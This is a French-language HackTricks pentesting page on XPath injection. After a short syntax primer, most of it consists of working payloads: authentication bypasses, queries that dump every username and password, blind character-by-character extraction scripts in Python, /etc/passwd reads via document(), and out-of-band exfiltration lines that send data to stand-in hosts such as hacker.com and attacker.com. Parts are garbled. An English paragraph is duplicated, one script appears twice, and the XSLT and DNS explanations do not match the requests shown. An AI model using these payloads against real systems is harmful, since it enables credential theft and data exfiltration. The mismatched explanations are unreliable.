hacktricks/pentesting-web/xpath-injection.md
2023-06-03 13:10:46 +00:00

23 KiB

Injection XPath

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Suivez HackenProof pour en savoir plus sur les bugs web3

🐞 Lisez les tutoriels sur les bugs web3

🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs

💬 Participez aux discussions de la communauté

Syntaxe de base

L'injection XPath est une technique d'attaque utilisée pour exploiter les applications qui construisent des requêtes XPath (XML Path Language) à partir d'entrées fournies par l'utilisateur pour interroger ou naviguer dans des documents XML.

Informations sur la façon de faire des requêtes : https://www.w3schools.com/xml/xpath_syntax.asp

Noeuds

Expression Description
nodename Sélectionne tous les noeuds portant le nom "nodename"
/ Sélectionne à partir du noeud racine
// Sélectionne les noeuds dans le document à partir du noeud courant qui correspondent à la sélection, peu importe où ils se trouvent
. Sélectionne le noeud courant
.. Sélectionne le parent du noeud courant
@ Sélectionne les attributs

Exemples :

Expression de chemin Résultat
bookstore Sélectionne tous les noeuds portant le nom "bookstore"
/bookstore Sélectionne l'élément racine bookstoreNote: Si le chemin commence par un slash ( / ), il représente toujours un chemin absolu vers un élément !
bookstore/book Sélectionne tous les éléments book qui sont des enfants de bookstore
//book Sélectionne tous les éléments book, peu importe où ils se trouvent dans le document
bookstore//book Sélectionne tous les éléments book qui sont des descendants de l'élément bookstore, peu importe où ils se trouvent sous l'élément bookstore
//@lang Sélectionne tous les attributs qui portent le nom lang

Prédicats

Expression de chemin Résultat
/bookstore/book[1]

Sélectionne le premier élément book qui est un enfant de l'élément bookstore.Note : Dans IE 5,6,7,8,9, le premier noeud est [0], mais selon W3C, il est [1]. Pour résoudre ce problème dans IE, définissez SelectionLanguage sur XPath :

En JavaScript : xml.setProperty("SelectionLanguage","XPath");

/bookstore/book[last()] Sélectionne le dernier élément book qui est un enfant de l'élément bookstore
/bookstore/book[last()-1] Sélectionne l'avant-dernier élément book qui est un enfant de l'élément bookstore
/bookstore/book[position()<3] Sélectionne les deux premiers éléments book qui sont des enfants de l'élément bookstore
//title[@lang] Sélectionne tous les éléments title qui ont un attribut nommé lang
//title[@lang='en'] Sélectionne tous les éléments title qui ont un attribut "lang" avec une valeur de "en"
/bookstore/book[price>35.00] Sélectionne tous les éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00
/bookstore/book[price>35.00]/title Sélectionne tous les éléments title des éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00

Noeuds inconnus

Jocker Description
* Correspond à n'importe quel noeud élément
@* Correspond à n'importe quel noeud attribut
node() Correspond à n'importe quel noeud de n'importe quel type

Exemples :

Expression de chemin Résultat
/bookstore/* Sélectionne tous les noeuds enfants de l'élément bookstore
//* Sélectionne tous les éléments dans le document
//title[@*] Sélectionne tous les éléments title qui ont au moins un attribut de n'importe quel type

Suivez HackenProof pour en savoir plus sur les bugs web3

🐞 Lisez les tutoriels sur les bugs web3

🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs

💬 Participez aux discussions de la communauté

Exemple

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
    <name>pepe</name>
    <password>peponcio</password>
    <account>admin</account>
</user>
<user>
    <name>mark</name>
    <password>m12345</password>
    <account>regular</account>
</user>
<user>
    <name>fino</name>
    <password>fino2</password>
    <account>regular</account>
</user>
</data>

Accéder à l'information

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identifier et voler le schéma

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
    <a>
        <b></b>
    </a>
    <c>
        <d></d>
        <e></e>
        <f>
            <h></h>
        </f>
    </c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Contournement d'authentification

Exemple de requêtes :

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Contournement OR dans l'utilisateur et le mot de passe (même valeur dans les deux)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Abus de l'injection null


Description

Null injection is a technique used to bypass filters that sanitize user input by replacing the input with a null byte (\0). This can be used to terminate strings early or to bypass certain filters that check for specific characters.

Description

L'injection null est une technique utilisée pour contourner les filtres qui nettoient les entrées utilisateur en remplaçant l'entrée par un octet nul (\0). Cela peut être utilisé pour terminer les chaînes de caractères prématurément ou pour contourner certains filtres qui vérifient des caractères spécifiques.

Username: ' or 1]%00

Double OR dans le nom d'utilisateur ou dans le mot de passe (est valide avec seulement 1 champ vulnérable)

IMPORTANT: Notez que la "et" est la première opération effectuée.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Extraction de chaînes de caractères

La sortie contient des chaînes de caractères et l'utilisateur peut manipuler les valeurs pour effectuer une recherche :

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Exploitation à l'aveugle

Obtenir la longueur d'une valeur et l'extraire par comparaisons :

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Exemple Python

import requests
import sys
import urllib.parse as urlparse

url = "http://example.com/search.php"
query = "q"

def get_results(query):
    payload = "' or 1=1 or ''='"
    params = {query: payload}
    r = requests.get(url, params=params)
    return r.text

def get_query_param(url):
    parsed = urlparse.urlparse(url)
    return urlparse.parse_qs(parsed.query)[query][0]

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <url>")
        sys.exit(1)

    url = sys.argv[1]
    query_param = get_query_param(url)
    results = get_results(query_param)
    print(results)
import requests
import sys
import urllib.parse as urlparse

url = "http://example.com/search.php"
query = "q"

def get_results(query):
    payload = "' or 1=1 or ''='"
    params = {query: payload}
    r = requests.get(url, params=params)
    return r.text

def get_query_param(url):
    parsed = urlparse.urlparse(url)
    return urlparse.parse_qs(parsed.query)[query][0]

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Utilisation: {sys.argv[0]} <url>")
        sys.exit(1)

    url = sys.argv[1]
    query_param = get_query_param(url)
    results = get_results(query_param)
    print(results)
import requests, string 

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30): 
    r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) 
    if ("TRUE_COND" in r.text): 
        l = i 
        break 
print("[+] Password length: " + str(l)) 
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) 
    for al in alphabet: 
        r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
        if ("TRUE_COND" in r.text): 
            flag += al
            print("[+] Flag: " + flag) 
            break

Lire un fichier

Le XPath Injection peut être utilisé pour lire des fichiers sur le serveur. Pour ce faire, vous pouvez utiliser la fonction document() de XPath pour accéder à des fichiers locaux. Par exemple, pour lire le fichier /etc/passwd, vous pouvez utiliser la requête XPath suivante :

' or 1=1 or name()='username' and substring(document('/etc/passwd'),1,1)='r

Cela fonctionne car la fonction document() est utilisée pour accéder au fichier /etc/passwd et la fonction substring() est utilisée pour extraire la première lettre du fichier. Si la requête renvoie une erreur, vous pouvez essayer de lire d'autres fichiers en modifiant le chemin d'accès dans la requête XPath.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Exploitation OOB

Exploitation OOB avec XSLT

L'exploitation OOB (Out-of-Band) est une technique qui permet à l'attaquant de communiquer avec un serveur distant en utilisant des canaux autres que le canal HTTP. Cette technique est souvent utilisée pour extraire des données sensibles d'un serveur vulnérable.

L'exploitation OOB peut être réalisée avec une injection XPath en utilisant une transformation XSLT. Cette technique consiste à envoyer une requête malveillante qui contient une transformation XSLT qui sera exécutée par le serveur. La transformation XSLT peut être utilisée pour extraire des données sensibles du serveur et les envoyer à l'attaquant via un canal OOB.

Voici un exemple de requête malveillante qui utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données :

POST /workspace/index.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

username=admin' or 1=1]/parent::*/parent::*/*/*/text()|//password[position()=1]/text()|'&password=test&submit=Login

Dans cet exemple, la requête malveillante utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données. La transformation XSLT est exécutée par le serveur et les données sensibles sont envoyées à l'attaquant via un canal OOB.

Exploitation OOB avec DNS

Une autre technique courante d'exploitation OOB consiste à utiliser le protocole DNS pour communiquer avec un serveur distant. Cette technique est souvent utilisée pour extraire des données sensibles d'un serveur vulnérable.

L'exploitation OOB avec DNS peut être réalisée avec une injection XPath en utilisant une requête malveillante qui contient une fonction DNS. Cette fonction est utilisée pour envoyer des données sensibles à un serveur contrôlé par l'attaquant via le protocole DNS.

Voici un exemple de requête malveillante qui utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données en utilisant le protocole DNS :

POST /workspace/index.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

username=admin' or 1=1]/parent::*/parent::*/*/*/text()|dns-lookup('attacker.com')|'&password=test&submit=Login

Dans cet exemple, la requête malveillante utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données en utilisant le protocole DNS. Les données sensibles sont envoyées à un serveur contrôlé par l'attaquant via le protocole DNS.

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Outil automatique

{% embed url="https://xcat.readthedocs.io/" %}

Références

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}

Suivez HackenProof pour en savoir plus sur les bugs web3

🐞 Lisez des tutoriels sur les bugs web3

🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs

💬 Participez aux discussions de la communauté

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥